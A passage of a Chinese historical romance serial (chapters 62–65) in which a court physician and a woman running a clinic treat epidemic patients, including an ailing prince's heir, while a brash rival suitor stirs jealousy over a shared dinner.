他愈发清晰地感觉到,自纪昭离去后,他为自己精心构筑的那套井然有序的人生轨迹,似乎正出现细微却不容忽视的偏差。 冥冥之中,仿佛有一股他无法掌控的力量在暗中推动,诸多变数纷至沓来,干扰着他,让他无法专注…… 他赖以维系内心平静、安身立命的秩序与章法,正渐渐显露出崩裂瓦解的迹象。 更为可怕的是,面对这种失控与未知的变化,他本该感到抗拒、排斥,但心底深处,却奇异地滋生出一两分不该有的、近乎隐秘的期待。 他甚至有些好奇,若任由事态发展,最终会崩坏到何种地步? 到了那时,他是否还能是那个冷心冷情、永远理智清醒、不为外物所动的他? 第62章 第62章孟大夫昨夜是歇在医馆了…… 五月初七,天清气朗,医官院。 晨光熹微,淡金色的晨光笼罩着医官院的朱墙黄瓦。 身着各色官袍的医官们步履匆匆,穿梭于回廊庭院之间。 书吏们抱着厚厚的卷宗疾行,药童们推着满载药材的小车赶往各司,间或有低声而急促的病情讨论声掠过耳边。 这座掌管临安城医政的衙署,正全力应对着这场突如其来的病情。 医官院议事厅内,气氛庄重。 院使朱直如常主持召开晨会,众医官围着巨大的长桌正襟危坐,人人面色凝重。 医直陈玢清点完人数,低声向朱直汇报:“院使,除李医官外,其余人等均已到齐。” 朱直不甚在意地摆摆手:“无甚要紧,其他人都到了就行。” 他心下暗忖,李璟那小子虽然这几日一反常态,日日点卯全勤,可到底是个积年的懒散性子,哪里真能持之以恒?只怕是这几日医官院事多,将他累着了,或是又犯了老毛病,起不来床了呢。 朱直环视全场,清了清嗓子,开始总结近日工作:“城中腹泻之症肆虐,情形严峻。幸赖各家医馆同心协力,奋力救治,目前病情虽得到些许控制,然态势仍不容乐观。” 他声音沉肃,“诸位务必加强与所辖医馆的联络,密切关注其救治进展。若对应医馆遇有任何难处,无论是药材短缺,还是人手不足,必须即刻上报,不得延误!” “此外,告知诸位一个消息。本院昨日已与城中信誉卓著的药材商孟家,签订了几样紧要药材的采购文书。药材供应一事,大家暂且可安心。” 他话锋一转,神色更为凝重,“然,考虑到部分患者中毒颇深,已转为重症,医治极为棘手。纪医官昨日连夜奔走,协同照隅堂、回春堂、济世堂等几家医馆,共同研讨,初步拟定了一剂对症药方。” 朱直略作停顿,目光扫过众人:“此方尚在验证阶段,待确认疗效无误后,会即刻刊印分送诸位。另则,”他提高了声调,“这药方中需用一味金贵药材——石莲子。此药罕见难寻,所幸照隅堂孟大夫深明大义,愿将其珍藏的一罐石莲子无偿献出,由我院统一分派至各急需的医馆,以解燃眉之急!不过孟大夫虽高义,我等也不能白占人便宜,还是从今年的预算中拨出一些来,作为采购石x莲子的费用。” “石莲子?”底下立刻有医官低声惊呼,“这般珍贵的药材,照隅堂竟有储备?” “这位孟大夫当真是医者仁心,竟舍得如此割爱……” 朱直话音落下,底下便响起一阵窃窃私语。此前医官考核,那份得了纪昀亲批“优”等的试卷曾在院内传阅,其见解之精辟、用药之老辣,已令众人惊叹,“孟玉桐”之名那时便在医官院传开。 然院内多是中老年男医官,自幼浸淫儒家经典,对女子抛头露面、坐馆行医一事,多少存有几分偏见。 更有人私下揣测,她那“优”评,未必全靠真才实学,或许与她和纪昀那段前缘有些关联。 可今日朱直一席话,特别是捐赠稀有药材石莲子此举,却让许多人心中的偏见开始动摇。大疫当前,能如此不计得失、慷慨解囊,无论男女,其胸襟与仁心都值得敬重。 朱直亦是欣慰。女子也罢,男子也好,出身商贾也罢,出身世家也好,大是大非面前,危难险急关头,方见人心真章。 如此看来,淮之的眼光……果然是不错的,也难怪他对此女多有例外,总是明里暗里关照襄助。 朱直又仔细分派了今日各项事宜,待一切交待完毕,众人正欲散去。 书吏沈周匆匆步入议事厅,径直走向纪昀,躬身道:“纪医官,荣亲王府派人来请,言道世子殿下身感腹泻之疾,王妃娘娘心焦如焚,亲点您即刻过府诊治。” 朱直闻言倒是有些意外,挑眉道:“哦?李璟今日未来,竟是染了病?情况如何,可严重吗?” 沈周答:“来回话的人说,症候来得急猛,呕吐泄泻不止,似乎……像是重症的症状。王妃甚是着急,命纪医官速去。” 纪昀闻言,向朱直微一颔首示意。朱直拍拍他的肩膀,嘱咐道:“快去看看吧,好生诊治。院中事务不必挂心,自有我等。” 直至纪昀离开,朱直才望着他离去的方向,颇为忧虑地叹了口气。这污水之患,真是害人不浅,连王府世子都未能幸免。 纪昀方才还同他商议,新拟的药方虽定,但效用尚需验证,本打算今日再去照隅堂仔细观察那几位重症病患服药后的情况,再决定是否大面积推行。 可偏偏如此不巧,李璟竟在此时突发重症。而那药方中至关重要的石莲子,此刻却还存放在照隅堂……也不知纪昀此番前去,手中无对应药材,该如何应对荣亲王妃,又该如何诊治他那位娇贵的世子表弟。 * 日头高悬,已至晌午。 照隅堂内却依旧人满为患,空气闷热,大堂内弥漫着浓重的药味和病患压抑的呻吟。 一上午,孟玉桐与馆中众人便如同陀螺似的,未曾停歇片刻。 她端坐案前,凝神诊脉、细声问症、利落下针,额角已渗出细密的汗珠。刘思钧坐在她身侧,默契地根据她的口述飞快地开着药方。 吴明与白芷在后方药柜前穿梭不停,抓药称量,忙得脚不沾地。崔大与梅三则在诊室中维持着秩序,引导安抚着焦躁的病患。 今日的病人比昨日只多不少,甚至有许多是特意从御街北段,乃至更远地方慕名而来的。不知从何处传出的风声,说照隅堂的孟大夫医术如神,药到病除。 这便驱使着人们纷纷涌向这间小医馆。 于是乎忙了一上午,临近中午,医馆中的人却并不见少。一波接着一波,没有尽头似的。 孟玉桐的脸色明显透出疲态,唇色泛白,眼底带着淡淡的青黑。 偏偏她还一丝不苟地继续看诊开方,同刘思钧一字一句地念着药方的名字。 刘思钧笔下不停,侧目看到她强撑的模样,心下不禁一紧,正琢磨着找个什么理由让她歇口气,却见一道颀长挺拔的身影越过满堂病患,径直朝他们走来。 刘思钧眯了眯眼,只觉得这人有些眼熟,似乎在哪里见过? 还未等他细想,那清贵公子停在孟玉桐身侧,却并未打扰,只耐心等她为当前一位病人诊脉开方完毕,才屈指,极轻地在诊案上叩了两下,唤道:“孟大夫,现下可得闲,纪某有事与你商讨。” 孟玉桐抬眸看他,馆内还有众多病患等候,她走不开,正想摇头。一旁的刘思钧却已按着她的肩膀,不由分说地将她拉了起来,语气自然熟稔:“桐桐,这儿我先替你顶一会儿,症候复杂的等你回来再看。你且去办正事,不必担心。” 纪昀立在一侧,闻言眉头几不可察地轻轻一蹙。视线在刘思钧那只搭在孟玉桐肩上的手一扫而过,很快又移回孟玉桐脸上,似是微微催促:“孟大夫,此处人多口杂,请借一步说话。” 孟玉桐仍有些不放心,看向刘思钧叮嘱道:“刘大哥,若有棘手的情况,务必等我回来处置。” “知道了,放心去吧!”刘思钧已大马金刀地坐下,有模有样地开始为下一位病人问诊。 孟玉桐这才转身,同纪昀一前一后离开了诊室。两人在诊室通往后院的过道处停下,孟玉桐背靠着高大的药柜。身前是白芷吴明抓药称量的忙碌身影,抬眼便能望见诊室内人头攒动的情景。 “纪医官,不是说要等下了值才来?此刻前来,可是出了什么急事?”孟玉桐转向纪昀,语带询问。 纪昀并未立刻回答她的问题,只是静静地看着她。他的目光在她略显苍白的脸颊和眼下的淡青上停留了一瞬,那眼神深沉难辨,似有关切,又很快被惯常的清冷覆盖。 半晌,他问了句不相干的话:“你昨夜没休息好?” 站在这个角度,稍稍偏过头,视线便能穿过井边那株老柿树的层层叠翠,瞥见后院角落晾衣绳上挂着的几件洗净的女子衣衫。 微风拂过,绿叶沙沙作响,碎叶摇曳间,隐约可见一抹熟悉的杏黄色衣角,正是她昨日所穿的那件。 他心下明了,却仍是问道:“孟大夫昨夜是歇在医馆了?” “嗯,”孟玉桐缓缓点头,因疲惫而反应稍显迟钝,说话语速也慢了下来,“想着这几日病人多,来回奔波不便,便宿在馆中了。许是有些认床,昨夜没怎么睡好。” 她慢慢说着,点头的动作也带着一种慢半拍的柔软,瞧着竟像是春日里被雨打湿了翅膀、稍作停憩的蝶,带着几分难得的脆弱与懵懂。 这时,白芷瞧见两人站在过道说话,放下手中的药包,转身从柜台边的温着的茶壶里倒了两杯水,快步送过来:“姑娘,快喝口水润润喉。纪医官,您也请用。” 纪昀接过茶盏,目光却落在孟玉桐光洁的额头上,那里沁出了一层细密的汗珠。 他转向白芷,并未言语,只以目光示意,轻轻指了指孟玉桐的额头。白芷即刻会意,忙在自己身上摸索,想找块帕子,却半天没摸到。 恰在此时,一方叠得整齐的素白棉帕递到了她面前。白芷想也没想,顺手接过,绕出柜台,便站在孟玉桐身侧,仔细地替她擦拭额角的汗渍。 孟玉桐则捧着温热的茶水,小口小口地啜饮着。 纪昀看向柜台后忙得团团转的吴明,开口道:“吴公子,劳烦取一片野山参给我。” 吴明应了一声,利落地从药柜抽屉里取出一片野山参,放入纪昀掌心,也顾不上问用途,继续马不停蹄地转身去包药了。 纪昀捏着那枚约半枚铜钱大小,纹理清晰的参片,静等着孟玉桐将杯中温水饮尽。 “孟大夫,张嘴。”他忽然开口,脸上却没什么表情。 孟玉桐一时没反应过来,略带疑惑地微微张口:“你说什……” 话音未落,只觉唇上一片微凉,纪昀的指尖已飞快地从她唇瓣擦过,下一瞬,一片带着浓郁草木气息的东西已被塞入了她口中。 是参片。 野山参片含于口中,能缓缓释放药力,有益气补血、固本培元、提振精神之效,最是适合她此刻气虚疲惫之状。 第63章 第63章前未婚夫?! 参片入口,瞬间带来浓郁的药香。 孟玉桐这才反应过来,纪昀这是拿了她自己医馆里的药材塞进了她嘴里…… 她实在错愕疑惑,这般行事作风,哪里像是纪昀。 他莫不是中邪了。 “纪某今日前来,是有一事需与孟大夫相商。” 纪昀的声音将她的思绪拉回,“荣亲王世子李璟,突发伤寒x兼痢之症,眼下高热不退,精神萎靡,已近昏迷。我们昨日商讨拟定的那份药方,怕是来不及等待更多时间验证其效了。我准备为李璟施用此方。” 他语速平稳,却透着决断,“思来想去,照隅堂既有收治重症病患的隔离之所,又有几位同症病患可供参详比对,将他带来此处诊治,最为稳妥便利。只是……” 话说到此处,他话语微顿,目光沉静地望向孟玉桐,带着一丝审度:“他此前行事多有放荡不羁之处,更与照隅堂有过不快龃龉。不知孟大夫是否愿意应允,容我将此人带来诊治? “孟大夫亦可放心,具体的诊疗事宜将由纪某一力承担,绝不会劳动孟大夫亲自出手。” 说完这些,他静静等着她的答案。 纪昀的右手垂放身侧,指尖盘仍然旋着淡淡的温热的触感,久久挥之不去。恍惚竟觉得,其上染着一两分痒意,他不自觉地轻轻捻了捻指尖,又悄然握成拳…… 孟玉桐微微抿了抿唇。口中的参片滋味苦涩中带着独特的土腥气,随后渐渐回甘,算不上好吃。 但含在舌下,确实能感到一股温和的暖意渐渐化开,不知是否是心理作用,原本因疲惫而隐隐作痛的额角似乎舒缓了几分,混沌的头脑也清明了些许。 她抬眸,迎上纪昀的视线,语气平静:“纪医官多虑了。照隅堂开门行医,治病救人为先,不论患者身份贵贱,更不计较往日私怨。 “既然李世子病症危重,自当以救治为要。便请将他安置在照隅堂吧。今日我刚安置了一位重症病患,楼上厢房尚有空余,左边第五间还空着,便将李世子安置在那里便可。” 纪昀颔首,眼中掠过一丝了然:“如此,多谢孟大夫。稍后我便让云舟将人送来安置。” 孟玉桐也点了点头:“纪医官若无其他事,我便先回去诊治病人了。”她说着,转身欲走。 纪昀却上前一步,不着痕迹地侧身,恰好挡在了她的去路之上。 清冷如玉的声音自她头顶落下,“你脸色不佳,气血有亏。若你信得过,此处交由我暂替坐诊,你回去好生歇息一会儿。” 孟玉桐微讶:“纪医官今日没有其他公务要处理么?” “纪某这几日的首要公务,便是诊治李璟。”纪昀答得从容不迫,条理清晰,“既然孟大夫慷慨相助,替纪某解决了难题,纪某自当投桃报李,为孟大夫分忧解难,此乃情理之中。” 他将这番交换说得清清楚楚,公平合理,毫无谁欠谁人情、或是谁意图逾越界限的意味。这恰是孟玉桐最为认可和习惯的相处方式。 孟玉桐见状,便也不再推辞。她昨日夜里恐怕睡不足一个时辰,今日一早又起身照料重症病患,紧接着便是接连不绝的看诊,早已是头重脚轻。此刻能得片刻喘息,实是求之不得。 她向纪昀微微颔首:“如此,便有劳纪医官了。” 纪昀唇角微扬,露出一抹极淡的弧度:“分内之事,纪某略尽绵力。” 托纪昀的福,孟玉桐回到后院小屋,几乎是沾枕即眠。这一觉睡得极沉,再醒来时,透过窗棂望去,日头已然西斜,约莫是申时初刻。 她只觉通体舒泰,多日积累的疲惫一扫而空,精神重又变得清明起来。 起身后,她先去了二层病房,仔细查看了昨日收治的三位重症病患。这几位病人服了新拟的药方一日,高热均已退去,精神虽仍萎靡,但气息平稳了许多,看来药效颇为显著。 接着,她转去隔壁病房,查看了今日新收治的那位重症患者,以及被安置在此的李璟。 李璟的症候在这几位重症患者中,其实算不得最凶险的,奈何他自幼金尊玉贵,体质娇惯,发起病来反而显得更为来势汹汹,模样也更显狼狈。 云舟将他安置好后,白芷已按方煎了药给他喂下,但他此刻仍处于昏睡之中,额上温度依旧烫手。 云舟和另一位李璟的贴身侍从正守在床边,轮流用沁凉的湿帕子为他擦拭额头降温。 见孟玉桐进来,云舟忙起身问候:“孟大夫,您休息好了?” 孟玉桐笑了笑:“睡了一个多时辰,好多了。李世子情况如何?” 云舟恭敬答道:“公子方才上来看过,吩咐继续按时服药观察。公子说,参照另外几位病人的好转趋势来看,世子爷的情况应当无甚大碍,只需些时日恢复。” 孟玉桐点点头,见此处一切按部就班,并无需要她特别插手之处,便打算下楼回大堂帮忙。 “那个……孟大夫……”云舟却忽然出声唤住她。 孟玉桐回头,投以询问的目光。 云舟张了张嘴,面上露出几分犹豫挣扎,最终却只是讪讪地摆了摆手:“没、没什么要紧事……您去忙吧。” 孟玉桐虽觉有些奇怪,但见他不再多言,便点点头,转身离开了病房。 云舟望着她离去的背影,无奈地叹了口气。眼看就要到他去学堂接小公子纪明的时辰了。小公子今日早上出门上学时,因想着兄长答应了放学后带他去见孟姐姐,可是开心得不得了,怕是这一整天在学堂里都在掰着手指头数时辰,盼着下学呢。 可他一会儿去了,该如何向那双充满期盼的眼睛解释,公子临时有紧急病患要处置,今日之约只得作罢了呢? 真真是想想就头痛! 孟玉桐穿过小院,重新回到喧闹的大堂诊室。室内的病患较之上午已稀疏不少,一打眼瞧过去,连同在外等候的,约莫还剩三四十人。 纪昀正端坐在她平日看诊的位置上,替一位面色萎黄、面带不耐的中年男子诊脉。 那男子甫一坐下便抱怨连连,声音不大不小,刚好能让周围人听见:“这什么破地方,空气污浊不堪,闷得人心头发慌!早知道这般遭罪,还不如去街口那家……” 他一边说着,一边嫌恶地用袖子扇着风,眼神四处挑剔地打量着医馆陈设,身体扭来扭去,极不安分。 正在一旁记录药方的刘思钧听得心头火起,眉头一拧,搁下笔就要开口理论。 纪昀却仿佛全然未闻那些刺耳之言。他并未抬头,只伸出左手缓缓止住了他的动作。 随即,他抬眸看向那喋喋不休的男子,目光平静无波,声音清冷如常:“阁下若觉此地气息不畅,于病体无益,纪某可即刻为您针剌合谷、内关二穴,此二穴最是宽胸理气、宁心安神,片刻即可缓解烦恶之感。 “虽说要将整整一根针扎入,不过阁下这般男子汉,应是不在话下。若仍觉不适,为免耽误病情,出门右转前行一里,确有另一家医馆,不过天气炎热,病情会否加重纪某也不敢妄下定论,阁下可自行斟酌。” 他的话语没有任何情绪起伏,只是陈述事实与解决方案,一边说着,一边拿起一旁的针囊,似真的有给他扎针的意思。 那男子被他这毫无情绪的冷静回应噎了一下,张着嘴,后面抱怨的话竟一时卡在喉咙里。 他愣愣地看着纪昀那双深不见底的眼睛,真怕他一个不吭声就真往自己身上扎针,他还是怕痛的! 他又瞥了一眼旁边显然不好惹的刘思钧,那股嚣张气焰莫名就矮了下去,最终悻悻然地闭了嘴,老老实实将手腕放到了脉枕上,嘟囔了一句:“……那、那先看看吧。” 刘思钧在一旁看得分明,心中那点不快瞬间被一股佩服取代。他冲纪昀悄悄竖了下大拇指,好家伙!这位纪公子,瞧着清冷文弱,可三言两语,不动声色间,竟就把这难缠的角色给镇住了。 的确是有几分本事。 待那病人老老实实地离开后,刘思钧继续做着书写药方的活计。他性子自来熟,尽管与纪昀仅是初识,简单交换过姓名,此刻却已嘴下不停。 “纪兄,瞧你这身医术,精湛老道,绝非寻常。不知……与我们桐桐是怎么结识的?”刘思钧一边蘸墨,一边笑着搭话。 纪昀指尖正感受着脉象的细微变化,闻言动作几不可察地顿了顿。他并未回头,目光依旧落在患者腕间,只淡淡道:“我与孟大夫,曾有过婚约。” 语毕,他便不再多言,转而继续询问眼前的病患:“这两日饮食如何?都用了些什么?”病患努力回忆着,一一作答。 刘思钧闻言,猛地瞪大了眼睛,笔下墨汁差点滴落。 这就是…x…桐桐那位前未婚夫?! 他早知孟玉桐曾订过亲,此次来临安,除却生意,也未尝没有想亲眼看看她未来夫家如何的念头。只是没想到刚来就栽了个跟头,后来脱困后与孟玉桐相交,才知那桩婚事已退。 他当时还觉得,退了正好。 女子嫁人后,拘束规矩太多,活得不自在。若是运气好,夫君尊敬,婆母慈爱,那便也罢。若是运气不好,像姑母那般…… 女子嫁错人,便是一辈子的事情。 他觉得像如今这样,她能自立门户,开医馆济世,在他看来再好不过。 第64章 第64章我娶了她又如何? “刘公子,”纪昀冰冷的声音忽然再度响起,打断了他的思绪,“纪某知你乃江湖儿女,性子豪放不羁。然则临安非比秦州,礼教民风皆不同。 “你对孟大夫一口一个‘桐桐’,言行间更甚少避讳,时有勾肩搭背之举。若落入有心人眼中,你可曾想过,于她清誉有损?” 刘思钧停下笔,眉头一拧,混不在意道:“要我说,你们这地方什么都好,就是规矩太多,不痛快!我与她投缘,关系好,叫得亲热些怎么了?只有那些自己心思不正、眼睛污浊的人,才会看什么都觉得有问题!” 他越说越起劲,“再说了,若真像你说得那般严重,只要桐桐她自己愿意,她那么好,我刘思钧娶了她又如何?” 纪昀被他这番近乎无赖的言论噎得一滞,语气更冷:“婚姻大事,岂容你如此儿戏妄言?” “我怎么就儿戏了?你又不是我!”刘思钧颇不服气。 旁边那正被诊脉的病患,捂着肚子,有气无力地插嘴:“两位大夫……行行好,先、先替小人看看病吧……” 孟玉桐穿过候诊的人群走回诊区时,见到的便是这般景象:刘思钧面红耳赤,一副愤愤不平的模样。而纪昀面沉如冰,紧抿着唇,显出极大的不悦。 “怎么了?”孟玉桐疑惑地看向两人。 那病患像是找到了救星,抢先开口:“孟大夫,您可算来了!这两位方才在说要娶……” “你别说话!”刘思钧急忙打断。 “夫人慎言。”纪昀几乎同时出声,语气带着警告。 病患被两人齐声一喝,吓了一跳,连忙捂住嘴,不敢再多言。 孟玉桐只觉得这两人气氛古怪。刘思钧性子爽朗爱说笑也就罢了,可纪昀向来稳重自持,怎的今日也似有几分失常? 刘思钧见她目光扫来,立刻换上笑脸,打着哈哈道:“没、没什么!我们方才在讨论……讨论药方的事!对,药方!是不是啊,纪兄?” 他一边说,一边用手肘轻轻撞了撞身旁的纪昀。 纪昀极不自然地侧过脸,避开他的触碰,并未接话。 “刘大哥,忙了一下午,辛苦你了。我来替你一会儿,你去歇歇吧。”孟玉桐未再继续询问,自然地从纪昀身后绕过,准备回到自己的位置。 馆内人多拥挤,行走间,她的衣袖随风轻拂,如同一把柔软的柳枝,不经意地擦过纪昀挺直的脊背。 一阵极细微、却足以扰人心神的触感与淡不可闻的药草清香从身后涌来。 纪昀倏然坐直了身子,原本平稳搭在病患腕间的指尖几不可察地一颤。他凝神屏息,试图专注感知脉象,却觉得指下的跳动似乎因那瞬间的走神而变得有些紊乱难辨。 他蹙眉移开手,神色间掠过一丝罕见的凝滞与困惑。 那病患一直紧盯着他的表情,见他神色有异,顿时心头发紧,急急问道:“大夫!我、我这是怎么了?可是有什么不妥?” 纪昀定了定神,摇摇头,再次将手指搭上去。他凝神细察,指下脉搏虽略显虚浮,但节律均匀,并无险恶之象,只是寻常脾胃虚弱、湿滞内停之症。 “并无大碍,”他收回手,语气恢复一贯的平稳,“只是饮食不节,伤了脾胃,按方服药,静养几日便好。” 病患长舒一口气,拍着胸口道:“哎哟!可吓死我了!方才瞧见大夫您忽然变了脸色,还以为我得了什么不治之症呢!” 另一边,刘思钧已乐呵呵地起身,将位置让给了孟玉桐。两人低声交谈了几句,刘思钧大致说了说下午看诊的情况,孟玉桐认真听着,不时点头回应。 交接完这些,刘思钧笑着凑近了些,压低声音道:“桐桐,你可算回来了,再对着这块冰木头,我舌头都要打结了。” 孟玉桐闻言,看了一边坐得笔直的纪昀,面色常常一丝不苟,脸上终日无半点笑意,的确是像一块冰木头。 她被刘思钧这话惹出了几分笑意,却还是出言纠正:“刘大哥,纪医官是来帮忙的,你不要胡说。” 纪昀虽依旧专注于眼前的病患,但身旁那两人低语浅笑的声音,却总是能恰到好处地穿透馆内的嘈杂,清晰地传入他耳中,扰得他心绪微澜,难以全然平静。 刘思钧方才那般直言不讳地说“娶她又如何”,神情语气不似作伪玩笑……莫非,他当真也对孟玉桐存了别样心思? 直到孟玉桐在他身侧的诊位坐下,他依旧维持着那副岿然不动、沉稳如山的姿态,看似心无旁骛地继续为面前的病患望闻问切。 “纪医官,”孟玉桐轻声开口,打断了他刻意维持的专注,“我方才去看了李世子的情况,热度渐退,呼吸平稳,应是无大碍了。你也忙碌了一整日,要不趁此刻稍得空闲,去后院歇息片刻?” 纪昀这才偏过头,得以仔细看她。她小憩之后,脸上虽仍残留着几分倦色,但眼眸较之先前已清亮了许多,颊边也恢复了些许血色。 “不必了。”他收回目光,语气平淡,“我素日在医官院当值,其间事务繁杂,并不比今日清闲,早已习惯了。” 孟玉桐闻言,不再多劝,只利落地挽起衣袖,重新铺开一张干净的药方纸,随后将毛笔与砚台往纪昀的方向轻轻推了推:“既然如此,那便劳烦纪医官相助,负责开具药方、记录药材。 “余下的病人,由我自行诊治便可。纪医官虽不畏辛劳,但这毕竟是我自家医馆,照料病患乃我份内之责,岂能一直偷懒,反倒让客人如此劳累?” 纪昀垂眸,视线落在那一笔一砚之上,静默了片刻,不知在想些什么。 最终,他还是伸手接过了笔,指尖无意间触碰到微凉的砚台边缘,语音低沉,几似自语:“孟大夫事事都喜欢划分得如此泾渭分明。却不知是独独对纪某如此,还是对所有人皆是一般态度?” 孟玉桐正在整理自己案上的脉枕,闻言动作未停,语气自然:“纪医官也知道,我出身商贾之家。自小便明白一个道理,这世上来来往往,人情债物,归根结底无非两类: “欠钱的,与欠人情的。欠钱的好还,数目、期限,白纸黑字,清清楚楚,交割起来干脆利落。可欠人情却大不相同,” 她微微抬眸,目光清透,“欠得多了还得少了,我心难安;且时日一长,难保债主心中不会生出不平之意,届时索要的回报,或许远超当初。 “若欠得少了还得多了,我吃了亏,心中同样难以坦然。如此看来,还是尽量少欠人情债为妙,心中无债,日子方能过得轻松自在些。” “这般说来,孟姑娘所言确有其道理。”纪昀悬笔于纸上方,墨迹将落未落,他侧过头,目光沉静地望向身旁的女子,“可若那债主一方,是心甘情愿付出,并不求回报呢?姑娘心中,亦会觉得不安么?” 孟玉桐已安置好新的病患,正示意对方伸出手腕,闻言顺口答道,目光仍专注于病患的脉象:“债主情愿与否,是债主自己的事。而我心安与否,是我自己的事。我只求自己问心无愧,至于旁人如何想、如何做,我并无暇,也无意去过多揣度顾及。” 纪昀黑沉的眸子里似乎闪过一丝极细微的了悟与复杂。 他不再多言,重新提笔,凝神听着孟玉桐清晰口述病患症状与所需药材,便开始在药方纸上落笔如飞,提前将药方开具出来。 笔尖沙沙作响间,他忽然开口:“孟大夫的心境脾性,似乎与寻常女子颇为不同。自主果决,心有丘壑,不轻易为人左右。似乎不愿与旁人有过多牵扯纠葛,亦不将希望寄托于他人身上。 “姑娘外表瞧着明丽温婉,待人接物也亲和得体,实则骨x子里……带着一股拒人于千里之外的疏离与冷静,仿佛很难有人能真正走近你,与你交心。” 孟玉桐正凝神感受指下脉象,闻言不由失笑,头也未抬地回道:“纪医官方才形容的这番话,若不仔细听,恍惚间还以为是在说你自己呢。” 纪昀执笔的手一顿,笔尖在纸面上留下一个微小的墨点。 他怔了片刻,竟是无言以对。 半晌,两人之间再无人说话,只余下诊室内外的嘈杂声响,以及笔尖划过纸页的沙沙声。 忙碌一整日,直至酉时末刻,照隅堂的最后一位病患终于抓药离去。馆内众人皆是人困马乏,几乎直不起腰。 就在这时,庆来饭馆的孙桂芳笑吟吟地出现在门口,嗓门洪亮:“孟大夫!各位辛苦啦!我瞧着你们忙得脚不沾地,肯定还没顾上吃晚饭吧? “我那儿备了几样家常小菜,还在井水里特意冰镇了一壶酸甜可口的梅子酒,各位要是不嫌弃,都过来对付一口,垫垫肚子!” 这几日孙桂芳时常送些吃食过来,态度殷勤又带着几分小心翼翼的讨好,众人也已习惯。白芷、吴明等人闻言,早已饿得前胸贴后背,顿时眼睛都亮了,纷纷看向孟玉桐。 孟玉桐揉了揉酸胀的脖颈,也觉饥肠辘辘,便笑着应下:“有劳孙大娘费心,我们收拾一下便过去。” 她说着,目光转向正在一旁慢条斯理收拾东西的纪昀,出于礼节询问道:“纪医官忙碌至今,也未曾用饭,若不嫌弃饭食粗简,便一同过去用些?” 她本以为以纪昀那清冷寡言、不喜喧闹的性子,多半会婉拒。 谁知纪昀动作未停,只抬眸淡淡瞥了她一眼,竟是从容颔首:“也好,那便叨扰了。” 第65章 第65章讨要香囊 见纪昀忽然应下,孟玉桐面上闪过一丝讶异,很快便恢复如常,笑道:“纪医官肯赏光,是我们的荣幸。” 一行人于是关了医馆大门,三三两两穿过街道,来到了对面的庆来饭馆。 孙桂芳早已手脚麻利地在堂内拼好了一张大桌,几样热气腾腾、香气扑鼻的菜肴已摆上了桌,虽非山珍海味,却也是色香味俱全的家常风味。 且经过上次孟玉桐一番点拨提醒,张桂芳的手艺似乎瞧着一日比一日精进,望着这一桌丰盛的饭菜,众人食欲大动。 大家各自寻了位置落座。 孟玉桐被孙桂芳拉着,在朝南的主位上坐下,她刚要起身,众人纷纷叫她别动,这里没那么多规矩。 孙桂芳极为热情,站在她身侧,手里公筷不停,不住地往她碗里布菜:“孟大夫,您尝尝这个红烧肉,我今儿个小火慢炖了一个时辰呢!还有这清炒时蔬,最新鲜的……您今日可是累坏了吧,多吃点补补!” 刘思钧则坐在孟玉桐另一侧,给自己斟了杯酒,他浅浅啜了一口,只觉得酸甜适口,酒味清淡,颇能舒解疲劳,便也十分自然地拿起另一个空杯,为孟玉桐也满上一杯,笑着递到她面前,“桐桐,你忙了一天,不如喝杯酒解解乏!” 纪昀与此间众人算不上相熟,他性子又冷淡,惹得其余人也不太敢主动与他攀谈,便都自然的将孟玉桐身边的另一侧位置让了出来。 纪昀神色如常,在那空位上安然落座。 刘思钧倒好的酒盏恰好递过来,放在孟玉桐碗前。 “孟大夫今日劳神过度,气血有亏,不宜饮酒。饮些温汤或热茶为宜。” 纪昀目光淡淡扫过孟玉桐面前那杯酒水,复又提醒道:“昨日来照隅堂,似乎得见,刘公子不胜酒力,酒后言语、形状皆有失态,依纪某看,刘公子那酒,也是不要饮的为好。” 屋中气氛似乎一滞。 刘思钧酒量浅、酒品更是一般,这事崔大和梅三最是清楚不过。 可刘思钧偏偏是那等“量浅瘾豪,尤畏人激”的性子,越是被人说酒量不行,他便越是不服,非要证明自己不可。 故而以往同桌用饭,崔大和梅三见他兴致起来,也多是由着他去,大不了事后多费心看顾些。 然而今日,纪昀竟这般毫不委婉、直截了当地当众点破,以刘思钧那脾气,是断然不能忍的。 果然,刘思钧一听他这话,便不服气起来,他喊道:“纪兄。” 两人下午虽有一小段的争执,可刘思钧素来豪爽又不记事,并未将那点子状况放在心上。 但若说他酒量不行,那是万万不能的,他险些要站起身来,拨高了声调:“我瞧着你这般文弱清瘦的模样,瞧着才不像个能饮的呢!我们秦州男儿,就没有酒量孬的!你若是不信,咱们不如当场比试比试,见个真章!” 纪昀连眼皮都未抬一下,只慢条斯理地拿起汤勺,舀了半碗鱼汤,声音冷淡至极:“明日还需看诊,纪某并无兴趣。” 刘思钧这蓄满了力的一拳,仿佛打在了轻飘飘的棉花上,无处着力,反倒憋得自己胸口发闷。 他瞪着眼睛,气呼呼地重又坐了回去,一脸郁卒。 孟玉桐见状,转向刘思钧,语气温和地劝解道:“刘大哥,今日你也忙碌整日,耗费心神,便不喝酒了,不如也喝些热汤,暖暖肠胃,解乏安神。” 她说着,盛了一碗汤放到他面前。 刘思钧这才脸色稍霁,对着孟玉桐笑了笑,带点得意地瞥了纪昀一眼:“还是桐桐会说话。” 这话里,不免带了几分阴阳怪气。 纪昀对此却恍若未闻,丝毫不见气恼。 他只是极其自然地伸出手,将孟玉桐面前那杯梅子酒,轻轻移到了自己手边,又将自己方才舀的汤替换过去。 等孟玉桐拿起筷子,准备用饭时,才发现自己面前的酒盏不知何时被换成了一碗温热的汤。她有些意外地侧首看了身旁的纪昀一眼。 纪昀并未看她,只神色如常地用餐。 孟玉桐沉默一瞬,轻声道:“多谢纪医官。” 众人皆已饥肠辘辘,很快便风卷残云般将桌上饭菜扫荡一空。 饭后,孟玉桐示意白芷与孙桂芳结算饭钱,孙桂芳虽又推脱客气了两番,终究还是欢喜地收下了。 刘思钧几人酒足饭饱,同孟玉桐道别后,便离开了桃花街。 孟玉桐转而看向一旁静立的纪昀,正欲开口询问他是否准备回纪府。 不料纪昀却先一步出言,语气依旧是惯常的平淡,内容却让她颇为意外:“纪某方才见二层病房还有空余。不知这两日,可否容纪某在此叨扰暂住?也便于就近照看李璟病情。” 孟玉桐一愣,婉言道:“医馆之中条件简陋,仅备有基本起居之物,远不及府上舒适周全,只怕纪医官会不习惯。” 纪昀摇头,神色淡然:“纪某并非那般讲究之人。若孟大夫觉得不便或是唐突,便当纪某未曾提过。只是……” 他略一沉吟,措辞谨慎,“只是李璟夜间若醒转,发觉身处陌生环境,恐情绪不稳,再生事端。若有纪某在旁,或可及时安抚,以免惊扰了孟大夫与馆中病患。” 